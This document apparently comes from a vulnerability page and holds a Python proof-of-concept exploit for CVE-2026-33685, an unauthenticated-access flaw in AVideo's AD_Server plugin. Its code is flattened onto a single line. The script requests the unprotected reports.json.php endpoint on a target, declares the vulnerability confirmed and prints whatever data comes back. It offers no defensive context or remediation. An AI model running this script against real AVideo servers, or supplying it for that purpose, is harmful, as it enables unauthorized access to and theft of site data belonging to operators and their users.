CVE-2026-33685 AVideo未授权访问漏洞

import requests import sys # Target URL of the vulnerable endpoint target_url = "http://target-domain.com/plugin/AD_Server/reports.json.php" def check_vulnerability(url): try: # Send a GET request to the vulnerable endpoint response = requests.get(url, timeout=10) # Check if the response status is 200 and contains JSON data if response.status_code == 200: try: data = response.json() print("[+] Vulnerability Confirmed!") print("[+] Extracted Data:") print(data) except ValueError: print("[-] Response is not valid JSON.") else: print(f"[-] Target returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": check_vulnerability(target_url)